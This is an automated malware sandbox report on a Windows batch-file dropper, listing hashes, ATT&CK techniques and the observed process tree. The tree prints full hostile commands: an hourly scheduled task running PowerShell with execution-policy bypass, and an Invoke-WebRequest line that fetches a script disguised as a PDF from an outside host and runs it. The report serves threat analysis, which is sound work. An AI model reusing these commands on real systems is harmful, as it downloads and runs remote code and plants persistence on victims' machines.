9994b9e197b422529221de7238dc0e44ae21e66d78c48355f31837c3696ec90e

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
30-12-2024 05:29

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General

Target

10b20d5ab63333029b484bf4fc528e6cd4dc755c99c31c24054d63f9e3447c1c.bat
Size

935B
MD5

1c94a162524f1ab324eb20ab36123aa9
SHA1

2d0bd3e465120d8161a30782724f6381130c3e6a
SHA256

10b20d5ab63333029b484bf4fc528e6cd4dc755c99c31c24054d63f9e3447c1c
SHA512

f4252f79627dcf11c7b378a51503651476a10b22638b2797f6d6d33ef268acb54a1a37b0d2ba18535c9354470490261fef88d6a9aae6fde57c8388e035c12d3a

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	2816	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2816	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2380	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2816	powershell.exe
2816	powershell.exe
2320	powershell.exe
2320	powershell.exe
1104	powershell.exe
1104	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	1104	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2312 wrote to memory of 2380	2312	cmd.exe	85
PID 2312 wrote to memory of 2380	2312	cmd.exe	85
PID 2312 wrote to memory of 2816	2312	cmd.exe	86
PID 2312 wrote to memory of 2816	2312	cmd.exe	86
PID 2312 wrote to memory of 2800	2312	cmd.exe	87
PID 2312 wrote to memory of 2800	2312	cmd.exe	87
PID 2312 wrote to memory of 1948	2312	cmd.exe	90
PID 2312 wrote to memory of 1948	2312	cmd.exe	90
PID 1948 wrote to memory of 2320	1948	cmd.exe	91
PID 1948 wrote to memory of 2320	1948	cmd.exe	91
PID 4300 wrote to memory of 1104	4300	cmd.EXE	93
PID 4300 wrote to memory of 1104	4300	cmd.EXE	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\10b20d5ab63333029b484bf4fc528e6cd4dc755c99c31c24054d63f9e3447c1c.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2312
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "Octanagem" /tr "cmd /c start /min PowerShell -ex Bypass C:\Users\Public\American.ps1" /SC HOURLY /mo 6 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2380
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://hoteltoscanaplaza.com.co/cgi-bin/Atendimento.pdf' -OutFile 'C:\Users\Public\American.ps1'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2816
- C:\Windows\system32\schtasks.exe
  schtasks /run /tn "Octanagem"
  2⤵
  PID:2800
- C:\Windows\system32\cmd.exe
  cmd /c start /min PowerShell -ex Bypass C:\Users\Public\American.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -ex Bypass C:\Users\Public\American.ps1
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2320

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c start /min PowerShell -ex Bypass C:\Users\Public\American.ps1
1⤵
- Suspicious use of WriteProcessMemory
PID:4300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  PowerShell -ex Bypass C:\Users\Public\American.ps1
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c69e5c86bb7bcac84492a5fb80b23e46

SHA1
ad0f323298a5cebcec98eef1a1069debfe1f7d7c

SHA256
32d2345faf8b9a6a95f023cf02b820b0a86d41eadf786e91752bc9d7bc40baf1

SHA512
18482a071fd00a337a499a4dd9d2db3783d77be209be57c92eb9edba3b8f68fffbc2a484be823d2d3708d2f7fe1ef8bf670e1856e2f394d72b2502ab3d8cbfb1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
f4cd59fec6cf54c85fc53e911914bf82

SHA1
50c1bf0969af6099d4b602a1d923a9b693a9b9ff

SHA256
70329406d55a7f671e2c30943772bfde19ceb53f7a402222aa0f74669f741f17

SHA512
5cfc2de8d95b1670570908c65389391f107d0f023f8a92412f001bb61982301e3405b692390c502b3f302df907fa1231cd056863cc9151dbbdb59c579858d5dc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n2utoozg.2i3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
dd61f1592f765c5fb94029070a9c2a79

SHA1
0065958d394da32708fcb53fadd64d648465a434

SHA256
2464b36db8cddad5789ae51528bec357c4ab49939117772e198f37b57b4764a6

SHA512
7ac01a504aa12f779e0f6ae290c9d28b91ef0c3c2a0e4310a682d7cde697cb6760e11819156b5c56c663308816dc61c4e421137d772db65b9aa7f1ec269c0c64

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
6KB

MD5
623325d659d15c12fa0c71ec6bc97ea1

SHA1
4b29b6f206f7c2c4d61f3a09c67e5de76c4538c5

SHA256
b6dada66e9755379004d5429b0e36b39422ec451324cccecb371b9f7fe2f0c27

SHA512
a4c0099622b7d9933a5b885df9e5f29287161bc84d72cb10b679c49359b30897718aab92562679fe236815d8be8a647c2d42c8bbad1b1010e1a29ddb1505638a

Download Submit
memory/2816-11-0x00007FF976220000-0x00007FF976CE1000-memory.dmp

Filesize
10.8MB

Download
memory/2816-18-0x00007FF976220000-0x00007FF976CE1000-memory.dmp

Filesize
10.8MB

Download
memory/2816-19-0x00007FF976220000-0x00007FF976CE1000-memory.dmp

Filesize
10.8MB

Download
memory/2816-15-0x00007FF976220000-0x00007FF976CE1000-memory.dmp

Filesize
10.8MB

Download
memory/2816-13-0x000002739FCA0000-0x00000273A0446000-memory.dmp

Filesize
7.6MB

Download
memory/2816-12-0x00007FF976220000-0x00007FF976CE1000-memory.dmp

Filesize
10.8MB

Download
memory/2816-1-0x00000273863B0000-0x00000273863D2000-memory.dmp

Filesize
136KB

Download
memory/2816-0-0x00007FF976223000-0x00007FF976225000-memory.dmp

Filesize
8KB

Download